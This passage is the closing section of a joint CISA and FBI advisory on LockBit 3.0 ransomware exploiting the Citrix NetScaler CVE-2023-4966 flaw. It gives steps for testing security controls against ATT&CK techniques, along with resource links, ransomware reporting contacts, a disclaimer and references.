1. Select an ATT&CK technique described in this advisory (see Table 1).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of
comprehensive performance data.
6. Tune your security program, including people, processes, and technologies,
based on the data generated by this process.
CISA and the authoring organizations recommend continually testing your security
program, at scale, in a production environment to ensure optimal performance
against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
* Stopransomware.gov is a whole-of-government approach that gives one central
location for ransomware resources and alerts.
* The Joint Ransomware Guide provides preparation, prevention, and mitigation
best practices as well as a ransomware response checklist.
* Cyber Hygiene Services and Ransomware Readiness Assessment(link is external)
provide no-cost cyber hygiene and ransomware readiness assessment services.
* For more resources to help aid in the mitigation of cyber threats and
ransomware attacks visit Strategies to Mitigate Cyber Security Incidents(link
is external), Protect yourself from Ransomware(link is external), and How the
ASD’s ACSC can help during a Cyber Security Incident(link is external).
REPORTING
The FBI is seeking any information that can be shared, to include boundary logs
showing communication to and from foreign IP addresses, a sample ransom note,
communications with LockBit 3.0 affiliates, Bitcoin wallet information,
decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA
do not encourage paying ransom as payment does not guarantee victim files will
be recovered. Furthermore, payment may also embolden adversaries to target
additional organizations, encourage other criminal actors to engage in the
distribution of ransomware, and/or fund illicit activities. Regardless of
whether you or your organization have decided to pay the ransom, the FBI and
CISA urge you to promptly report ransomware incidents to the FBI Internet Crime
Complaint Center (IC3) at ic3.gov, local FBI Field Office, or CISA via the
agency’s Incident Reporting System or its 24/7 Operations Center at
report@cisa.gov(link sends email) or (888) 282-0870.
Australian organizations that have been impacted or require assistance in regard
to a ransomware incident can contact ASD’s ACSC via 1300 CYBER1 (1300 292 371),
or by submitting a report to cyber.gov.au(link is external).
DISCLAIMER
The information in this report is being provided “as is” for informational
purposes only. CISA and authoring organizations do not endorse any commercial
entity, product, company, or service, including any entities, products, or
services linked within this document. Any reference to specific commercial
entities, products, processes, or services by service mark, trademark,
manufacturer, or otherwise, does not constitute or imply endorsement,
recommendation, or favoring by CISA and the authoring organizations.
ACKNOWLEDGEMENTS
Boeing contributed to this CSA.
REFERENCES
[1] NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966(link
is external)
[2] What is Mshta, How Can it Be Used and How to Protect Against it
(McAfee)(link is external)
[3] Investigation of Session Hijacking via Citrix NetScaler ADC and Gateway
Vulnerability (CVE-2023-4966(link is external))
VERSION HISTORY
November 21, 2023: Initial version.
This product is provided subject to this Notification and this Privacy &
Use policy.
PLEASE SHARE YOUR THOUGHTS
We recently updated our anonymous product survey; we’d welcome your feedback.
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